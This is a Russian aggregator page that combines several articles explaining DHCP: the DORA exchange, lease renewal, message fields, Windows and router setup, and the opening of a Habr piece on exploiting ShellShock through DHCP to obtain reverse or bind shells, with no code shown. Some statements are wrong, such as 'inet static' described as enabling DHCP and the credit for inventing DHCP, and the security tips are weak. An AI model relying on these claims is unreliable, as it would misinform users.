Разное

Протокол dhcp – Dhcp — Википедия

27.04.2018

Содержание

Принципы работы протокола DHCP

Dynamic Host Configuration Protocol (DHCP) — сетевой протокол, предназначенный для автоматической конфигурации параметров сети на сетевых узлах. DHCP является одной из ключевых служб сетевой инфраструктуры и каждый, кто имеет отношение к компьютерным сетям, должен хотя бы в общих чертах представлять принципы его работы.

Для начала давайте вспомним, что требуется компьютеру для работы в сети. К примеру, так выглядит консоль настроек сети в Windows.

 

Как видите, для начала работы компьютеру нужен IP-адрес, маска подсети и шлюз по умолчанию, а также хотя-бы один DNS-сервер. Сама процедура настройки несложная, при наличии опыта на один компьютер потребуется не больше минуты. Но если настроить надо не один, а несколько сотен устройств, да еще и территориально расположенных в разных местах? Вручную это сделать практически нереально, поэтому в корпоративных сетях для централизованного управления сетевыми настройками используются DHCP-сервера.

С помощью DHCP решаются две основные проблемы:

• Автоматизация. При наличии в сети DHCP-сервера не требуется производить настройки на каждом новом клиенте. Достаточно один раз настроить DHCP-сервер и дальнейшая настройка IP-адресов и прочих сетевых параметров производится автоматически;
• Централизованное управление. DHCP-сервер осуществляет контроль за выданными адресами, предотвращает их дублирование, а также своевременно освобождает неиспользуемые IP-адреса.

Подробно протокол DHCP описан в документе RFC 2131, мы же не будем вдаваться в детали, а рассмотрим только основные моменты. Начнем с процедуры получения настроек.

Получение настроек

DHCP работает по схеме клиент-сервер. Процесс получения настроек происходит в несколько этапов и описывается схемой DORA (Discover-Offer-Request-Acknowledge):

Discover (Обнаружение)
Клиент DHCP подключается к сети и приступает к инициализации (состояние INIT). Первым делом он ищет в сети подходящий DHCP-сервер, для чего отправляет запрос DHCPDISCOVER на широковещательный адрес 255.255.255.255. В качестве своего адреса клиент указывает 0.0.0.0, поскольку своего адреса у него еще нет. Также в запросе клиент указывает свой MAC-адрес. Запрос доставляется всем компьютерам, находящимся в данном сегменте сети, но отвечают на него только DHCP-сервера.

Offer (Предложение)

DHCP-сервер, получивший запрос DHCPDISCOVER, анализирует его содержимое, выбирает подходящую конфигурацию сети и отправляют ее в сообщении DHCPOFFER. Обычно DHCPOFFER отправляется на MAC-адрес клиента, указанный в DHCPDISCOVER, хотя иногда может использоваться широковещание. Если в сети находятся несколько DHCP-серверов, то клиент получает несколько ответов DHCPOFFER и выбирает из них один, как правило полученный первым.

Request (Запрос)
Получив ответ сервера, клиент отвечает сообщением DHCPREQUEST, в котором ″официально″ запрашивает у сервера предоставленные настройки. В сообщении DHCPREQUEST содержится та же информация, что и в DHCPDISCOVER, а также IP-адрес выбранного DHCP-сервера. DHCPREQUEST отправляется на широковещательный адрес и те DHCP-сервера, чей адрес отсутствует в сообщении, понимают что их предложение отвергнуто.

Acknowledge (Подтверждение)
DHCP-сервер, адрес которого указан в DHCPREQUEST, получает сообщение и понимает, что его выбрали. Он фиксирует привязку для клиента и отвечает сообщением DHCPACK, подтверждая выданные клиенту настройки. DHCPACK отправляется на MAC-адрес клиента, указанный в DHCPREQUEST. Клиент получает сообщение DHCPACK, проверяет настройки и применяет конфигурацию (состояние BOUND), которая была получена в сообщении DHCPOFFER.

 

 

Клиент может проверить полученный от DHCP-сервера адрес, например с помощью широковещательного ARP-запроса. Если обнаружится, что предложенный адрес уже используется в сети, то клиент отправляет серверу сообщение DHCPDECLINE и начинает процедуру инициализации заново. Сообщение DHCPDECLINE передается в широковещательном режиме, поскольку клиент отвергает предложенный ему IP-адрес. DHCP-сервер, получив сообщение DHCPDECLINE, должен пометить IP-адрес как недоступный, а также уведомить администратора о возможных проблемах в конфигурации.

Это стандартная схема получения настроек, но возможны еще несколько вариантов развития событий.

У клиента уже есть назначенный ранее адрес

Если у клиента имеется выданный ранее сетевой адрес и он хочет его использовать, то можно пропустить некоторые этапы. В этом случае клиент передает широковещательное сообщение DHCPREQUEST, указывая в сообщении имеющийся у него адрес. DHCP-cервер, получивший запрос, проверяет корректность сети и адреса и в случае успешной проверки посылает клиенту подтверждение DHCPACK. Клиент получает подтверждение и применяет настройки.

Если DHCP-сервер обнаруживает, что клиент находится в неподходящей сети, он отвечает отказом DHCPNACK. Если сеть корректна, то проверяется наличие записи для этого клиента и доступность запрошенного адреса. Если адрес по какой либо причине не подходит (например занят), то сервер отвечает отказом DHCPNACK. Получив отказ, клиент больше не может пользоваться сохраненным сетевым адресом и должен запросить новый адрес, начав полную процедуру инициализации.

Если же на сервере нет записи для этого клиента, то он считает, что адрес был выдан другим DHCP-сервером и просто оставляет запрос без ответа. Такое поведение позволяет находиться в одной сети нескольким независимым DHCP-серверам.

У клиента есть адрес, полученный другим способом

Если у клиента уже есть адрес, назначенный любым другим способом (например вручную), то он может запросить у DHCP-сервера только конкретные параметры конфигурации (например адреса DNS-серверов) с помощью сообщения

DHCPINFORM. Сообщение передается на адрес сервера (если он известен) либо широковещанием на адрес 255.255.255.255. DHCP-сервер, получивший сообщение DHCPINFORM, отвечает сообщением DHCPACK с требуемыми параметрами конфигурации, но без проверки аренды и выделения сетевого адреса. Сообщение передается клиенту напрямую. Клиент принимает ответ и применяет полученные настройки.

Если клиент не получает от сервера сообщения DHCPACK в течение разумного срока ожидания, то он должен выдать пользователю сообщение о проблеме и приступить к работе в сети, используя параметры, рекомендованные в RFC 1122.

Примечание.

Вообще процедура получения адреса может кардинально отличаться в зависимости от настроек DHCP-сервера. Например сервер может выдать клиенту адрес, отличающийся от запрошенного, предложить адрес из другой подсети и даже вообще отказать в предоставлении адреса. Более того, DHCP-сервер вовсе не должен отвечать на каждый поступивший к нему запрос. Это позволяет контролировать доступ к сети, например можно выдавать адреса только клиентам, прошедшим определенную проверку.

Обновление адреса

IP-адрес выдается клиенту на определенное время, которое называется временем аренды (lease time). Время аренды зависит от настроек сервера и может варьироваться от нескольких минут до недель и даже месяцев. По прошествии половины срока клиент пробует обновить аренду. Если сразу обновить аренду не удается, то клиент будет пытаться сделать это снова вплоть до окончания срока. В том случае, если все попытки окажутся неудачными, по окончании срока клиент будет искать другой DHCP-сервер.

В процессе обновления клиент проходит два состояния — обновление адреса (RENEWING) и обновление конфигурации (REBINDING). Первое состояние наступает на примерно половине срока аренды адреса (T1), второе – по истечении 87.5% (или 7/8) полного срока аренды (T2). Для предотвращения синхронизации разных клиентов при расчете значений T1 и T2 к ним добавляется случайное отклонение.

Обновление адреса (RENEWING)

Это состояние означает, что клиент может начать процесс обновления аренды. Для обновления клиент посылает запрос

DHCPREQUEST, но не широковещательный, а адресованный своему DHCP-серверу. Сервер получает запрос, после чего возможно два варианта:

• Сервер соглашается продлить аренду. Для подтверждения продления аренды он посылает клиенту сообщение DHCPACK с указанием нового срока аренды и тех параметров, которые могли измениться с момента создания или последнего продления аренды;
• Сервер отказывается продлевать аренду. В этом случае он шлет клиенту сообщение об отказе DHCPNACK.

В зависимости от полученого ответа клиент:

• В случае положительного ответа DHCPACK отмечает новый срок истечения аренды и все измененные параметры, полученные от сервера, сбрасывает таймеры T1 и T2 и переходит в нормальное (BOUND) состояние.

• Получив отрицательный ответ DHCPNACK немедленно переходит в состояние инициализации (INIT) и начинает процедуру получения аренды заново.

Обновление конфигурации (REBINDING)

Если клиент сразу не получает ответ от сервера на запрос обновления аренды, то он ожидает ответ в течение времени (T2 — t)/2 сек (но не меньше 60 сек), где t — время отправки последнего сообщения DHCPREQUEST, затем отправляет сообщение повторно. Пока сервер не ответит, клиент остается в состоянии RENEWING и регулярно шлет запрос DHCPREQUEST на сервер. В течение этого времени он сохраняет свой текущий адрес и продолжает нормально работать.

Если ответ от сервера не поступил к моменту T2, клиент переходит в состояние REBINDING и передает уже широковещательное сообщение DHCPREQUEST со своим текущим адресом. В этом случае срок повтора запросов DHCPREQUEST рассчитывается аналогично предыдущему случаю, только вместо T2 используется полное время окончания срока аренды.

В том случае, если срок аренды завершается до получения клиентом ответа от сервера, клиент должен прекратить все сетевые операции и перейти в состояние инициализации (INIT). Если DHCP-сервер все-таки ответит после завершения аренды, то клиент может возобновить работу с прежним адресом.

Освобождение адреса

Клиент может явно отказаться от аренды сетевого адреса, передав серверу сообщение DHCPRELEASE. При получении этого сообщения сервер помечает адрес как свободный, но сохраняет запись с параметрами клиента в базе на тот случай, если клиент захочет использовать адрес повторно. Стоит уточнить, что клиент не освобождает аренду при обычном выключении, все настройки сохраняются локально. Клиент передает DHCPRELEASE только при явной необходимости отказаться от аренды, например при перемещении в другую подсеть. Также освободить аренду можно вручную, например с помощью команды ipconfig /release.

Еще из важного

Для своей работы DHCP использует протокол UDP. Сообщения от клиента к серверу передаются по порту 67 UDP, а сообщения от сервера клиенту — на порт UDP 68.

Также надо знать, что по умолчанию сообщения DHCP ограничены текущей подсетью. Дело в том, что для своей работы DHCP использует широковещание (broadcast), а маршрутизаторы не пропускают широковещательный трафик за пределы широковещательного домена.

Примечание. Широковещательный домен (broadcast domain) — область сети, в которой все узлы могут общаться между собой с помощью широковещания, без участия маршрутизатора. Обычно широковещательному домену соответствует физическая или логическая подсеть.

Так вот, если DHCP-сервер и клиенты находятся в разных широковещательных доменах и не могут общаться напрямую, то для их взаимодействия требуется специальный DHCP ретранслятор (DHCP relay agent). Ретранслятор является как бы посредником между клиентом и сервером, он обрабатывает стандартный широковещательный DHCP-запрос и отправляет его на сервер в виде адресного (unicast) пакета, а полученный от сервера ответ переправляет DHCP-клиенту. В роли ретранслятора могут выступать как маршрутизаторы, так и специальные серверы. К примеру в Windows Server для этого есть специальная серверная роль.

Для корректной работы DHCP необходимо проверить, что брандмауэр не блокирует нужные порты, а если DHCP-сервер и клиенты находятся в различных подсетях, то убедиться в наличии DHCP relay.

На этом пожалуй закончим теоретическую часть. В следующей статье речь пойдет о настройке DHCP-сервера на базе Windows Server 2016.

windowsnotes.ru

Что такое DHCP и как это работает

Даже многие системные администраторы, годами работающие с сетевыми устройствами, не всегда могут дать чёткий и внятный ответ — что такое DHCP сервер. Знают что если он работает, то у компьютера появится IP-адрес — и то хорошо.
А ведь это очень важный момент! Этот протокол значительно облегчает жизнь системному администратору при настройке и управлении сетями. Он работает как в обычных домашних сетях на бытовых WiFi-роутерах и модемах, так и в крупных корпоративных сетях и помогает компьютеру, ноутбуку или иному сетевому устройству быстро получить АйПи-адрес и идентифицироваться.
Давайте подробнее рассмотрим основные принципы работы DHCP сервера.

Что такое DHCP?

DHCPDynamic Host Configuration Protocol — это протокол динамической настройки узла прикладного уровня по модели OSI. Он разработан ещё в 1993 году, но до сих пор не только не потерял актуальности, но и наоборот — получил новую версию для работы с протоколом IPv6. Модель работы — «Клиент-сервер». При этом, у DHCP-сервера есть собственный метод обмена сообщениями между клиентом и сервером. Протокол позволяет выполнить автоматическую настройку протокола IP версии 4, а так же и более новой версии 6, тем самым облегчив процесс настройки сети и исключив вероятность ошибки при ручном вводе данных.

Что делает DHCP-сервер?!

На ДХЦП-сервере системным администратором задаётся определённый диапазон IP-адресов, которые можно выдавать устройствам-клиентам при обращении. При этом дополнительно может настраиваться срок аренды адреса (lease time) в течение которого он закреплён за MAC-адресом компьютера и не может быть занят иным устройством.

У сервера есть три варианта распределения адресов в сети:

1 — Динамическое. Именно этот вариант работает на 95% серверов. Адрес выдаётся компьютеру на определённый срок (время аренды), по истечению которого АйПи будет считаться свободным и может быть назначен иному компьютеру в сети.

2 — Автоматическое. Всё аналогично динамическому распределению, за тем лишь исключением, что IP выдаётся устройство на постоянной основе и более не меняется.

3 — Ручное. В этом случае администратором сервера составляется таблица соответствия IP и MAC-адресов устройств, согласно которой в дальнейшем они и будут получать сетевые параметры. Этот способ практически не используется. Если только в сетях с повышенным уровнем безопасности.

Как работает DHCP сервер

Работа сервера основывается на широковещательных сетевых запросах. Процедура «общения» клиента и сервера выглядить примерно так:

1. Клиент отправляет broadcast-сообщение «Мне нужен IP»
2. Сервер отвечает таким же сообщением «У меня есть адрес xxx.xxx.xxx.xxx. Устроит?»
3. Клиент — «Да устроит!»
4. Сервер — «ОК! Адрес xxx.xxx.xxx.xxx зарезервирован за тобой».
Для представленного «общения» используются следующие специальные широковещательные broadcast-запросы.

Вот, для наглядности, схема диалога клиента и сервера ДХЦП:

Диапазон IP-адресов, предназначенных для распределения между клиентами одной сети с помощью протокола DHCP, рассматривается как единый административный блок. Он называется «область действия» — scope. Если сервер работает с несколькими подсетями, то при настройке службы DHCP, администратор должен создать отдельную область действия для каждой физической подсети.
В идеале, для стабильной работы, для каждого обслуживаемого сегмента сети должно быть как минимум два DHCP-сервера, но для домашнего использования это требование не актуально.

Виды запросов сервера

Схема обмена сообщениями между клиентом и DHCP сервером:

DHCPDISCOVER — Это сообщение отправляется клиентом при подключении к сети для поиска активного DCHP сервера. При этом в качестве исходного IP используется 0.0.0.0, а в качестве адреса доставки — 255.255.255.255.

DHCPOFFER — Ответное сообщение DHCP-сервера на клиентский запрос DHCPDISCOVER, в котором предлагаются определённые сетевые настройки.

DHCPREQUEST — Broadcast-сообщение от клиента в ответ на DHCPOFFER, сообщающее о том, что он принял настройки.

DHCPACK — ответное послание клиенту после получения от него DHCPREQUEST, означающее завершение процесса общения. Оно подтверждает о том, что всё согласовано и ПК может работать в сети.

DHCPRELEASE — Такое широковещательное сообщение отправляется клиентом если он прекращает использования сетевого адреса.

DHCPNAK — Этот ответ будет отправлен клиенту в случае, если невозможно удовлетворить параметры DHCPREQUEST.

DHCPDECLINE — Широковещательный ответ серверу в том случае, когда клиент обнаруживает, что присвоенный ему IP-адрес уже используется.

DHCPINFORM — Сообщение серверу в том случае, если у клиента DHCP прописан статический IP-адрес и он не нуждается в динамическом распределении.

Сообщения протокола DCHP имеют следующие поля:

ПолеДлина (байты)Описание
op1Тип сообщения
htype1Тип адреса аппаратной части
hlen1Длина адреса аппаратной части
hops1Используемое количество агентов ретрансляции. Клиенты устанавливают значение на 0.
xid4ID  (уникальный идентификационный номер) транзакции используемой клиентом и серверов во время сессии
secs2Прошедшее время (в секундах) с момента запроса клиентом начала процесса
flags2Значение флагов
ciaddr4IP-адрес клиента (если имелся ранее).
yiaddr4IP-адрес, предложенный сервером клиенту
siaddr4IP-адрес сервера
giaddr4IP-адрес relay-агента (агента ретрансляции)
chaddr16Адрес аппаратной части клиента (в основном MAC).
sname64Имя сервера.
file128Название загрузочного файла.
optionsизменяемаяДополнительные опции

Как включить DHCP на сетевом адаптере

В операционной системе Windows 10 DHCP-клиент включен по умолчанию как служба, а на сетевом адаптере необходимо выставить автоматическое получение IP. Для этого нажимаем комбинацию клавиш Win+R чтобы открыть окно «Выполнить» и вводим команду ncpa.cpl.

Нажимаем на кнопку «ОК». Появится окно с сетевыми подключениями Виндовс 10.

На том адаптере, где хотим включить DHCP, кликаем правой кнопкой чтобы появилось контекстное меню. В меню — выбираем пункт «Свойства».

В следующем окне надо выбрать строчку «IP версии 4(TCP/IPv4)» и нажимаем на кнопку «Свойства» чтобы открыть параметры протокола:

Здесь необходимо поставить галочки на автоматическое получение адресов и нажать на кнопку «ОК».

В операционных системах семейства Linux все настройки прописаны в конфигурационных файлах. Например, в популярной Ubuntu это /etc/network/interfaces. Вот пример конфига, который позволяет включить DHCP на сетевом адаптере eth0:

Здесь:
auto eth0 — автоматическое включение сетевой карты eth0 при загрузке системы.
iface eth0 inet static — этой строчкой мы указываем системе, что интерфейс сетевой карты eth0 находится в диапазоне адресов с динамическим получением ip.

Если в системе работает менеджер соединение Network Manager, то можно включить DHCP на сетевом адаптере и в графическом интерфейсе:

 P.S.:
Отдельно стоит отметить что наличие работающего сервиса DHCP является признаком хорошего тона для любой локальной сети. Настройка сервера требует от администратора особых серьёзных знаний! В большинстве современных сетевых устройств (терминалов, роутеров и модемов) он вообще уже настроен по умолчанию и не требует дополнительной конфигурации.

set-os.ru

Протокол DHCP | Microsoft Docs

  • Время чтения: 2 мин

В этой статье

Относится к: Windows Server (Semi-Annual Channel), Windows Server 2016Applies to: Windows Server (Semi-Annual Channel), Windows Server 2016

Этот раздел можно использовать для краткого обзора DHCP в Windows Server 2016.You can use this topic for a brief overview of DHCP in Windows Server 2016.

Примечание

Помимо этого раздела, доступна следующая документация по DHCP.In addition to this topic, the following DHCP documentation is available.

Протокол DHCP — это протокол клиента или сервера, который автоматически предоставляет узел протокола IP с его IP-адресом и другие связанные сведения о конфигурации, такие как маска подсети и шлюз по умолчанию.Dynamic Host Configuration Protocol (DHCP) is a client/server protocol that automatically provides an Internet Protocol (IP) host with its IP address and other related configuration information such as the subnet mask and default gateway. RFC 2131 и 2132 определяют протокол DHCP в качестве стандарта Internet Engineering Task Force (IETF), основанного на протоколе начальной загрузки (BOOTP), протокола, с помощью которого DHCP предоставляет много сведений о реализации.RFCs 2131 and 2132 define DHCP as an Internet Engineering Task Force (IETF) standard based on Bootstrap Protocol (BOOTP), a protocol with which DHCP shares many implementation details. DHCP позволяет узлам получать необходимые сведения о конфигурации TCP/IP от DHCP-сервера.DHCP allows hosts to obtain required TCP/IP configuration information from a DHCP server.

Windows Server 2016 включает DHCP-сервер, который является необязательной ролью сервера сети, которую можно развернуть в сети для аренды IP-адресов и других сведений клиентам DHCP.Windows Server 2016 includes DHCP Server, which is an optional networking server role that you can deploy on your network to lease IP addresses and other information to DHCP clients. Все клиентские операционные системы на основе Windows включают DHCP-клиент как часть TCP/IP, а DHCP-клиент включен по умолчанию.All Windows-based client operating systems include the DHCP client as part of TCP/IP, and DHCP client is enabled by default.

Зачем использовать DHCP?Why use DHCP?

Каждое устройство в сети на основе TCP/IP должно иметь уникальный IP-адрес одноадресной рассылки для доступа к сети и ее ресурсам.Every device on a TCP/IP-based network must have a unique unicast IP address to access the network and its resources. Без DHCP IP-адреса новых компьютеров или компьютеров, перемещаемых из одной подсети в другую, необходимо настроить вручную. IP-адреса для компьютеров, удаленных из сети, необходимо вручную освободить.Without DHCP, IP addresses for new computers or computers that are moved from one subnet to another must be configured manually; IP addresses for computers that are removed from the network must be manually reclaimed.

При использовании DHCP весь процесс автоматизирован и управляется централизованно.With DHCP, this entire process is automated and managed centrally. DHCP-сервер поддерживает пул IP-адресов и арендованный адрес любому клиенту с поддержкой DHCP при запуске в сети.The DHCP server maintains a pool of IP addresses and leases an address to any DHCP-enabled client when it starts up on the network. Так как IP-адреса являются динамическими (арендованными), а не статическими (без постоянного назначения), адреса, которые больше не используются, автоматически возвращаются в пул для перераспределения.Because the IP addresses are dynamic (leased) rather than static (permanently assigned), addresses no longer in use are automatically returned to the pool for reallocation.

Сетевой администратор устанавливает DHCP-серверы, которые сохраняют информацию о конфигурации TCP/IP и предоставляют клиентам с поддержкой DHCP в виде предложения аренды.The network administrator establishes DHCP servers that maintain TCP/IP configuration information and provide address configuration to DHCP-enabled clients in the form of a lease offer. DHCP-сервер хранит сведения о конфигурации в базе данных, которая включает в себя:The DHCP server stores the configuration information in a database that includes:

  • Допустимые параметры конфигурации TCP/IP для всех клиентов в сети.Valid TCP/IP configuration parameters for all clients on the network.

  • Допустимые IP-адреса, поддерживаемые в пуле для назначения клиентам, а также исключенные адреса.Valid IP addresses, maintained in a pool for assignment to clients, as well as excluded addresses.

  • Зарезервированный IP-адрес адреса, связанные с конкретными клиентами DHCP.Reserved IP addresses associated with particular DHCP clients. Это обеспечивает единообразное назначение одного IP-адреса одному клиенту DHCP.This allows consistent assignment of a single IP address to a single DHCP client.

  • Срок действия аренды или период времени, в течение которого IP-адрес может быть использован до продления срока аренды.The lease duration, or the length of time for which the IP address can be used before a lease renewal is required.

Клиент с поддержкой DHCP при принятии предложения аренды получает:A DHCP-enabled client, upon accepting a lease offer, receives:

  • Допустимый IP-адрес для подсети, к которой подключается.A valid IP address for the subnet to which it is connecting.

  • Запрошенные параметры DHCP, которые являются дополнительными параметрами, настроенными DHCP-сервером для назначения клиентам.Requested DHCP options, which are additional parameters that a DHCP server is configured to assign to clients. Некоторые примеры параметров DHCP: маршрутизатор (шлюз по умолчанию), DNS-серверы и доменное имя DNS.Some examples of DHCP options are Router (default gateway), DNS Servers, and DNS Domain Name.

Преимущества DHCPBenefits of DHCP

DHCP предоставляет следующие преимущества.DHCP provides the following benefits.

  • Конфигурация надежных IP-адресов.Reliable IP address configuration. DHCP свертывает ошибки конфигурации, вызванные ручной конфигурацией IP-адресов, например типографскими ошибками, или конфликты адресов, вызванные назначением IP-адреса более чем одному компьютеру одновременно.DHCP minimizes configuration errors caused by manual IP address configuration, such as typographical errors, or address conflicts caused by the assignment of an IP address to more than one computer at the same time.

  • Сокращенное администрирование сети.Reduced network administration. Служба DHCP включает следующие функции для сокращения сетевого администрирования:DHCP includes the following features to reduce network administration:

    • Централизованная и автоматизированная конфигурация TCP/IP.Centralized and automated TCP/IP configuration.

    • Возможность определять конфигурации TCP/IP из центрального расположения.The ability to define TCP/IP configurations from a central location.

    • Возможность назначать полный диапазон дополнительных значений конфигурации TCP/IP с помощью параметров DHCP.The ability to assign a full range of additional TCP/IP configuration values by means of DHCP options.

    • Эффективная обработка изменений IP-адресов для клиентов, которые должны обновляться часто, например для портативных устройств, которые перемещаются в разные места в беспроводной сети.The efficient handling of IP address changes for clients that must be updated frequently, such as those for portable devices that move to different locations on a wireless network.

    • Пересылка начальных сообщений DHCP с помощью агента ретранслятора DHCP, что устраняет необходимость в DHCP-сервере для каждой подсети.The forwarding of initial DHCP messages by using a DHCP relay agent, which eliminates the need for a DHCP server on every subnet.

docs.microsoft.com

что это такое простыми словами? Как включить DHCP на роутере, адаптере?

Рад видеть Вас на fast-wolker.ru! Продолжаем изучать сетевое администрирование. Многие  пытаясь впервые настраивать роутер, сталкиваются  с неизбежными вопросами. Один из таких, на первый взгляд второстепенных вопросов — это настройка DHCP. Для  маленьких домашних сетей как правило это не актуально, и на эту опцию сначала мало кто обращает внимание.

Но, как только возникает необходимость настроить  для своих нужд работоспособную сеть  с выходом в Интернет по выделенному IP-адресу, так сказать пробелы в знаниях дают о себе знать. Читаем и берем на вооружение. В этом выпуске:

Эта статья поможет вам разобраться в теме. Все важно,  а такие «лишние» знания бесполезными не бывают и простым способом можно повысить безопасность вашей сети. Как всегда, в начале немного теории, без нее все равно никуда. Сегодня все сети построены на ключевых протоколах TCP/IP, которые во многом обеспечивает их функционирование.

Одной из служб этого протокола и является DHCP (DYNAMIC HOST CONFIGURATION PROTOCOL) или «протокол динамического конфигурирования хостов». Хостами обычно называют имена компьютеров в сети. В некотором роде они заменяют собой  IP адреса при обращении к компьютеру по имени.

DHCP является вспомогательным средством  TCP/IP и функционирует в сети как сервер, как клиент, и  как протокол по которому и передаются в сеть служебные данные. Все зависит от того, о каком уровне идет речь.

Можно включить сервер на роутере и тогда это будет сервер. Альтернативный вариант — установить DHCP  и на компьютере , например настроить в Windows 10. Можно включать или отключать эти службы на одном из компьютеров сети — это  будет уровень клиента или  сетевого протокола.

DHCP- сервер для чего он нужен?

Представим себе ситуацию, когда наша сеть состоит хотя бы  из 100 компьютеров. Задача системного администратора — строго следить за тем, чтобы каждый компьютер и устройства в сети имели свой  уникальный IP адрес. Бедный сисадмин! Ему придется несладко, ведь он обязан все это как-то контролировать. Где-то сбился адрес и чье -то рабочее место уже не функционирует…

Первые протоколы призванные решать проблему  были разработаны для рабочих станций, у которых даже не было своих жестких дисков. Сейчас мне это кажется диким, но в году так 1998 я работал на такой сети. Загружаешься с дискетки,  MS-DOS и Far-Manager в сочетании с черно-белым монитором — это была первая моя операционная система! При включении такой  компьютер шлет в сеть сообщение. Сервер сети в ответ на это сообщение шлет свое, по которому компьютер и «узнает» свой IP.

С внедрением интернета все стало совершенстоваться и вот уже нужно указывать адрес шлюза, маску подсети. Чтобы устранить недостатки существующих тогда протоколов, которые не умели в полной мере автоматизировать процесс, корпорация Microsoft и придумала DHCP, главное достоинство которого в том, что он умеет динамически назначать IP адреса из списка доступных, а неиспользуемые как бы не видны.

Системный администратор больше не думает над уникальностью и диапазонами адресов. Сторонние разработчики могут передавать через эту службу свои  настройки к собственному программному обеспечению (мы видим как это реализовано в роутерах различных фирм).   Таким образом, DHCP предназначен для автоматической конфигурации компьютерных сетей — автоматического присвоения компьютерам сети уникального IP -адреса.

DHCP на роутере что это?

Протокол динамического конфигурирования в качестве сервера сегодня реализован практически на всех моделях интернет-роутеров. И многие впервые настраивая свой маршрутизатор конечно же сталкиваются с непонятной аббревиатурой. При включении этой настройки (а она обычно по умолчанию включена) IP адреса будут автоматически присваиваться всем устройствам, подключающимся к вашей сети и сеть будет работать без участия системного администратора

Особенно удобно это выглядит при организации открытых точек доступа в Интернет по Wi-Fi  в кафе, ресторанах, общественных местах. Если DHCP не включать, то не поможет даже наличие открытого доступа к сети. Интернета не будет до тех пор, пока IP адрес, адрес шлюза, маска подсети каждому смартфону не будет присвоены вручную. Поэтому отключение DHCP при организации таких сетей недопустимо.

С точки зрения безопасности в закрытых сетях иногда  полезно наоборот отключать DHCP на маршрутизаторе. Если Вы заметили, что вашу сеть Wi-Fi регулярно, пытаются взломать или в вашей сети время от времени стали появляться незарегистрированные устройства, то отключение DHCP сделает эти попытки бесперспективными.

Не зная IP адреса, маски подсети и шлюза злоумышленник  даже подключившись к сети через кабель не сможет получить желанный интернет или зайти в сеть. Разумеется, на всех компьютерах сети при отключенном DHCP доступ к настройкам сети должен быть отключен обычным пользователям, а изменения должны вноситься только от имени администратора. А каждой станции сети должен быть вручную прописан свой IP.

Впрочем, на последних моделях некоторых маршрутизаторов  для ограничения доступа в Интернет достаточно сделать настройки для незарегистрированных устройств и ограничить им доступ:

DHCP relay что это? Настройка сервера на устройствах Microtic, Zyxel Keenetic Giga

На современных моделях маршрутизаторов теперь  можно встретить настройку DHCP — relay, но информации по ней в справочной системе устройства недостаточно. Опция расширяет функциональные возможности вашего устройства для системного администрирования.

Работа DHCP основана на обмене сообщениями между клиентами сети и сервером,  который адреса назначает. Сообщения генерируются в определенном формате и содержат служебную информацию. Они обычно не выходят за пределы вашей сети. Но как быть, если вам срочно нужно перенастроить сеть в рабочее время?

На этот случай у вас должна быть еще одна сеть с DHCP-сервером. Все что нужно -это указать адрес  соседнего сервера DHCP  «запасной» сети. Служба DHCP-relay ageht отвечает за то, чтобы ретранслировать сообщения в другую сеть на другой сервер в случае необходимости. Адреса теперь  будет назначать не ваш сервер, а тот на который вы укажете:

Все что нужно указать — это интерфейс (для доступа к Интернет) и IP адрес нужного сервера DHCP . Таким образом, функционал предназначен для назначения адресов в вашей сети из другой сети в случае возникновения такой необходимости.

Настройка сервера DHCP  на роутере  Zyxel Keenetic Giga

Фирма Zyxel сегодня выпускают  устройства, которые радуют глаз. Эти бренды сегодня популярны прежде всего благодаря функционалу который они предоставляют. Можно организовать несколько сетей на одном устройстве, подключить не одного провайдера а несколько и делать много других недостуных для предыдущих поколений устройств полезных вещей. Не менее хороша  фирма Microtic, сделал один раз настройки и забыл о проблемах.

Настройка сервера на маршрутизаторе самостоятельно  не представляет ничего сложного. В случае выделенного вам провайдером Интернет  IP- адреса нужно настроить подключение к Интернету:

Указываем данные от провайдера, не забываем про DNS, в качестве DNS 3 можно прописать гугловский DNS 8.8.8.8 Не помешает. Затем нужно создать сеть, или вернее сказать один из ее сегментов. В пункте «Мои сети и Wi-Fi» создаем новый сегмент:

В настройках включаем DHCP сервер. В качестве IP указываем адрес роутера, который для рабочих станций будет шлюзом:

IP роутера указан в качестве примера. Вы можете в качестве IP выбирать нестандартные диапазоны для повышения безопасности. Диапазоны определяют количество подсетей и  предельное количество рабочих станций в ней.   Начальный адрес пула   будет адресом «первого» компьютера. Размер пула — это количество компьютеров, которые у вас будут в сети. Время аренды- продолжительность выдачи адреса в секундах.

DHCP не включен на сетевом адаптере подключение по локальной (беспроводной) сети Windows 10, что делать?

По некоторым причинам (обновление Windows10, настройка Wi-FI) иногда можно увидеть эту ошибку в окне сообщений. Для начала проверим запущена ли  служба DHCP на вашем компьютере.  Нужно в «Панели управления» зайти в Администрирование — Службы…

…убеждаемся, что служба запущена; если это не так — перезапускаем ее. Теперь переходим к настройкам сетевой карты.

Как включить DHCP на сетевом адаптере Windows 10? Для этого правой кнопкой жмем на значок  подключения в нижнем правом углу монитора:

Идем в настройки параметров сетевого адаптера:

На компьютере обычно бывает больше одного сетевого адаптера. Если у вас WI-FI, то нужно выбрать его. У меня проводное подключение Нужно щелкнуть по нему правой кнопкой мыши:

В свойствах подключения ищем в списке используемый IP -протокол , у меня IPv4:

Далее, смотрим настройки. Если у вас DHCP на роутере включен, можно поставить флаги так:

Убеждаемся, что на сетевом адаптере включился DHCP,жмем на «Дополнительно»:

Закончили настройки. Для того, чтобы изменения вступили в силу без перезагрузки, ставим галочку:

Если Вы установили Wi-Fi -адаптер

Все же бывает, что вышеописанные способы не помогают. Долго искать; поэтому  опять жмем правой кнопкой на значке подключения:

Дождитесь окончания работы мастера:

После проведенных выше настроек он гарантированно исправляет все ошибки! Вот так легко настраивать  DHCP!

Автор публикации

0 Комментарии: 58Публикации: 294Регистрация: 04-09-2015

fast-wolker.ru

Атакуем DHCP / Digital Security corporate blog / Habr

В данной статье мы расскажем, как эксплуатировать ShellShock на клиенте DHCP и получить на нем полноценный reverse или bind shell. Интернет пестрит статьями, повествующими о возможностях эксплуатации shellshock на DHCP-клиентах. Есть даже статьи о том, как получить reverse shell на DHCP-клиенте. Однако, стабильно и повсеместно работающего инструмента для получения shell мы еще не встречали. Те, кто в теме, возможно, нового здесь не увидят, но не исключено, что вам будет интересно узнать, как нам удалось автоматизировать получение reverse и bind shell в условиях фильтрации и экранирования символов на стороне DHCP-клиента. Кроме того, мы расскажем и о том, чем вообще может быть интересен протокол DHCP.

Протокол DHCP применяется для автоматического назначения IP-адреса, шлюза по умолчанию, DNS-сервера и т.д. В качестве транспорта данный протокол использует UDP, а это значит, что мы можем без особых проблем подменять все интересующие нас поля в сетевом пакете, начиная с канального уровня: MAC-адрес источника, IP-адрес источника, порты источника — то есть все, что нам хочется.


